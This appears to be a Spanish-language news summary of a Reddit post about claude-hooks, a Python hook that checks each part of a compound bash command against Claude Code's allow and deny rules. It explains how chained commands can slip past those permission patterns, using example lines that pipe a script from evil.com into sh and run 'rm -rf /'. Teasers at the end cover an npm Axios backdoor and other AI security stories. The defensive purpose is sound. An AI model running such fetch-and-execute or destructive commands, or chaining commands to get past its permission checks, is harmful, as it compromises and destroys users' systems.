Gancho Inteligente de Permisos de Bash para Claude Code Previene la Omisión de Comandos Compuestos

Brecha de seguridad en el sistema de permisos de Claude Code
El sistema de permisos de Claude Code tiene una vulnerabilidad donde los comandos compuestos de bash pueden eludir los patrones de permitir/denegar. Cuando permites un comando como Bash(git status:*), Claude Code compara toda la cadena del comando con ese patrón. Esto significa que un comando compuesto como git status && curl -s http://evil.com | sh coincidiría con git status* y sería aprobado automáticamente, aunque encadena comandos curl y sh.
La solución: claude-hooks
La solución es un único script de Python llamado claude-hooks que se ejecuta como un gancho PreToolUse. Realiza varias funciones clave:
- Descompone comandos compuestos dividiendo en
&&,||,;,|, saltos de línea, y extrae contenidos de sub-shells$()y comillas invertidas recursivamente - Normaliza cada subcomando eliminando prefijos de variables de entorno, redirecciones de E/S, cuerpos de heredoc y palabras clave del shell
- Verifica cada subcomando individualmente contra tus patrones existentes
permissions.allowypermissions.deny - Denegar gana — si cualquier subcomando coincide con un patrón de denegación, todo el comando es denegado
- Todos deben permitirse — la aprobación automática solo ocurre cuando cada subcomando coincide con un patrón de permiso
- Falla con gracia — si algún subcomando es desconocido, aún obtienes el mensaje de permiso normal
Instrucciones de configuración
La instalación toma unos 30 segundos:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAñade a ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}La herramienta no tiene dependencias más allá de Python 3 y no requiere configuración — lee tus patrones de permisos existentes.
Comportamiento de ejemplo
git status: Permitido tanto con como sin el ganchogit add . && git commit -m "msg": Permitido tanto con como sin el gancho (ambos coinciden congit *)git status && rm -rf /: Permitido sin el gancho, se muestra mensaje con el gancho (rm -rf /no tiene permiso)`npm test | tee output.log`: PermitidoFOO=bar git push: Podría no coincidir sin el gancho, permitido con el gancho (variable de entorno eliminada)
El repositorio está disponible en https://github.com/liberzon/claude-hooks bajo licencia MIT.
📖 Read the full source: r/ClaudeAI
👀 Ver también

Claude Code Encuentra una Vulnerabilidad de 23 Años en el Kernel de Linux
El investigador de Anthropic, Nicholas Carlini, utilizó Claude Code para descubrir múltiples desbordamientos de búfer de montón explotables de forma remota en el kernel de Linux, incluido uno que había estado oculto durante 23 años. La IA encontró los errores con una supervisión mínima al escanear todo el árbol de código fuente del kernel.

Investigadores de Seguridad en IA: Tus Vulnerabilidades de Día Cero Podrían Filtrarse a través de la Opción de Inclusión de Datos
El interruptor 'Mejorar el modelo para todos' en las interfaces de LLM puede recolectar automáticamente investigaciones profundas de red-teaming, enviando tus conceptos de vulnerabilidad a los equipos de seguridad de los proveedores y potencialmente a artículos académicos antes de que publiques. Desactiva el intercambio de datos antes de realizar investigaciones de seguridad serias.

Traducción al español: **La aplicación de escritorio Claude de Anthropic instala un puente de mensajería nativa no revelado**
Claude Desktop instala silenciosamente una extensión de navegador preautorizada que permite la mensajería nativa, generando preocupaciones de seguridad.

NPM Comprometido a través de una Puerta Trasera en Axios: Impacto en los Agentes de Codificación de IA
El 31 de marzo de 2026, un actor de amenazas vinculado a Corea del Norte comprometió npm al publicar versiones con puerta trasera de Axios (1.14.1 y 0.30.4) durante una ventana de 3 horas. El malware inyectó una dependencia que descargó un RAT específico de la plataforma, recolectó credenciales y se autoborró, siendo los agentes de codificación con IA como Claude Code y Cursor particularmente vulnerables debido a las instalaciones automáticas de npm.